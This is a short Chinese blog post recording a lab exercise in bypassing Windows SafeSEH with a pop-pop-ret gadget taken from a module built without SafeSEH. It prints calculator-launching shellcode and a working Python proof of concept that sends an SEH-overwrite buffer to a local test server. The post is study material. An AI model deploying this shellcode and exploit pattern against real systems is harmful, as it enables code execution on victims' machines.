YLLEN

要去看埃菲尔铁塔的顶

欢迎关注本人微博:t.cn/RGSLVUk

part two: safeSEH绕过

       经过一下午的比较乱的操作,终于用( 未开启safeSEH)的模块中搜索 pop pop retn指令来跑过了safeSEH,因为时间有限,这里只是学习了操作,以及原理。

        当异常触发后,异常分发函数进行处理(这里只重点看SEH HANLDE的检验),我采用未开启

safeSEH模块来绕过,是用的一个DLL(实验用的,固定了基地址方便定位pop pop ret地址),然后,服务端还是采用的那个前面写的那个,只不过是加了异常处理,这里是故意触发的一个

div 0 异常,并且loadlibrary了DLL,

上图是加入的异常处理。


这是Win Xp3下 弹出计算器的shellcode

"\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23"  
"\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0"  
"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3"  
"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f"  
"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4"  
"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2"  
"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba"  
"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f"  
"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56"  
"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9"  
"\xe4";

贴下poc

from socket import *
from time import ctime


shellcode2 = "\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23" + "\x31\x42\x12\x83\xea\xfc\x03\xc0\x04
\x6f\xcd\x38\xf0\x2b\x2e\xc0"+\
"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3"+\
"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f"+\
"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4"+\
"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2"+\
"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba"+\
"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f"+\
"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56"+\
"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9"+\
"\xe4";
def main():
    HOST = '127.0.0.1'
    PORT = 7841
    ADDR = (HOST,PORT)
    BUF =  'A'*216+'\x90'*4+'\x12\x10\x12\x11'+'\x90'*16+shellcode2 # junk+ppr+SC
    #print BUF
    client = socket(AF_INET,SOCK_STREAM)
    client.connect(ADDR)
    client.send(BUF)
    client.close()
if __name__ == '__main__':
    main()


主要是pop pop retn     指令 已经 safeSEH OFF 模块不好找








评论
热度 ( 1 )

© YLLEN | Powered by LOFTER